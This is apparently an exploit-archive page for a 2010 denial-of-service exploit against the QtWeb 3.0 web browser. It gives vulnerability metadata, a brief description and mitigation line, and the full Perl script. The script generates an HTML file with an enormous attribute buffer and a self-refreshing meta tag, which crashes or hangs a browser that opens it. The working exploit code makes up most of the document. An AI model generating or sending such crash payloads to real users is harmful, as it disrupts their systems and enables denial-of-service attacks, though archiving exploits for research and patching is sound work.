QtWeb 3.0 Remote DoS/Crash Exploit

vendor:

QtWeb Web Browser

by:

Zer0 Thunder

7,5

CVSS

HIGH

Remote Dos/Crash

CWE

Product Name: QtWeb Web Browser

Affected Version From: 3.0

Affected Version To: 3.0

Patch Exists: NO

Related CWE: N/A

CPE: a:qtweb:qtweb_browser

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP Sp2, Ubuntu Server

2010

QtWeb 3.0 Remote DoS/Crash Exploit

QtWeb 3.0 Remote DoS/Crash Exploit is a vulnerability that allows an attacker to cause a denial of service (DoS) or crash a remote system by sending a crafted HTML file to the target system. The exploit creates a file named 'zero_qbrwoser.html' which contains a malicious HTML code with a large number of 'A' characters and '42' characters. When the target system opens the file, it will cause a denial of service or crash.

Mitigation:

To mitigate this vulnerability, users should ensure that they are running the latest version of QtWeb and should not open any suspicious HTML files.

Source

Exploit-DB raw data:

#!/usr/bin/perl
# File Name :QtWeb Web Browser 
# Vuln : Remote Dos/Crash
# Auther : Zer0 Thunder
# Msn : zer0_thunder@colombohackers.com
#
# Look at the task manager after u run this 
##==------>> 
#
# Exploit Title: QtWeb 3.0 Remote DoS/Crash Exploit 
# Date: 22/01/2010
# Author: Zer0 Thunder
# Site  : http://www.qtweb.net/
# Software Link: http://qtweb.googlecode.com/files/QtWeb-3.0.zip
# Version: v 3.0
# Tested on: Windows XP Sp2 / .html was uploaded into a Ubuntu Server
#			 Also tested locally
#
##==------>> 
$file="zero_qbrwoser.html";
print " ======================================\n";
print " = QtWeb 3.0 Remote DoS/Crash Exploit =\n";
print " =                                    =\n";
print " ======================================\n"; 
print "\n";
print " Please Wait till c0de generate...\n";
my $buffer="\x41" x 100000000; #Buffer 
my $buffer_1="\42" x 55900000;
my $tit="\x5A\x65\x72\x30\x0\x54\x68\x75\x6E\x64\x65\x72"; # lol on this
open(myfile,">>$file"); # b00m on here
print myfile "<html>";
print myfile "<title> y0u just got owned by $tit </title>";
print myfile '<head><meta http-equiv="refresh" content="1; url=zero_qbrwoser.html"></head>';
print myfile "<body alink=";
print myfile $buffer,$buffer_1;
print myfile '">';
print myfile "</html>";
close(myfile);
print "\n";
print " File Name : $file\n";
print " File Created Succesfully \n";
print "\n";
print "----------------------------------------------------------------------\n";
print " Founder : $tit\n";
print " For more information ==- msn : zer0_thunder[at]colombohackers[dot]com\n";